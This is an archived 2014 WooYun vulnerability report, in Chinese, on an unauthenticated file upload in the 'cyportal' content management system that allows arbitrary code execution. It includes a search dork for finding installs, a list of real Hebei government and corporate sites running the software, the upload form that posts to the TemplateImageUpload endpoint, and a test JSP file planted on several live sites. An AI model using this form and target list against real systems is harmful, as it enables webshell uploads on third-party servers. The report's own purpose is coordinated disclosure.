当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-071964

漏洞标题:某建站系统通用型文件上传导致任意代码执行

相关厂商:cncert国家互联网应急中心

漏洞作者: Coody

提交时间:2014-08-11 19:15

修复时间:2014-11-09 19:16

公开时间:2014-11-09 19:16

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:18

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-08-11: 细节已通知厂商并且等待厂商处理中
2014-08-16: 厂商已经确认,细节仅向厂商公开
2014-08-19: 细节向第三方安全合作伙伴开放
2014-10-10: 细节向核心白帽子及相关领域专家公开
2014-10-20: 细节向普通白帽子公开
2014-10-30: 细节向实习白帽子公开
2014-11-09: 细节向公众公开

简要描述:

文件上传导致任意代码执行漏洞(全版本通杀)

详细说明:

技术支持:新禾科技
版权所有:河北新禾科技(集团)有限公司 电话:0311-85265566


百度dork: inurl:cyportal

搜索的部分案例:
http://www.hbsrfb.gov.cn/cyportal/ 保定市人防办公室
http://www.sjzkj.gov.cn/cyportal/ 石家庄科技
http://www.hbjx.com.cn/cyportal2.0/ 河北津西钢铁集团
http://www.sjzkj.gov.cn/cyportal/ 中国电子科技集团公司第十三研究所
http://www.hebdj.gov.cn/cyportal/ 河北党建网
http://www.hbkp.gov.cn/cyportal/ 河北科普网
http://www.bdhb.gov.cn/cyportal/ 保定环境保护局
http://www.xtshbj.gov.cn/cyportal1.3/ 邢台市环保局
http://www.hebkjxx.cn/cyportal1.3/ 河北省会计信息网-廊坊市
http://www.sjzhb.gov.cn/cyportal2.3/ 石家庄市环保局
http://www.qhdcz.gov.cn/cyportal/ 秦皇岛市财政局
http://www.hebkjxx.cn/cyportal1.3/ 河北省会计信息网-邢台市
http://www.xtcz.gov.cn/cyportal1.1/ 邢台财政信息网


通过反编译 TemplateImageUpload.class ,得知上传后的文件路径为 /images/uploadImage/

QQ图片20140811175028.jpg


本地构造上传

<form method='post' action='http://目标站点/cyportal版本号/TemplateImageUpload'  enctype="multipart/form-data" > 
<input type="file" id="file" name="test" style="height:20px;BORDER: #8F908B 1px solid;"/>
<button type=submit value="getshell">getshell</button> </form>


上传的文件 wooyun.jsp 内容为:

<%
out.print("just4test....From WooYun.Org");
%>

漏洞证明:

这里给出几个测试结果(各个版本抽样):
http://www.hebkjxx.cn/cyportal1.3/images/uploadImage/wooyun.jsp

QQ图片20140811175742.jpg


http://www.sjzhb.gov.cn/cyportal2.3/images/uploadImage/wooyun.jsp

QQ图片20140811175927.jpg


http://www.xtcz.gov.cn/cyportal1.1/images/uploadImage/wooyun.jsp

QQ图片20140811180000.jpg


http://www.hbjx.com.cn/cyportal2.0/images/uploadImage/wooyun.jsp

QQ图片20140811180026.jpg

修复方案:

版权声明:转载请注明来源 Coody@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-08-16 10:13

厂商回复:

最新状态:

暂无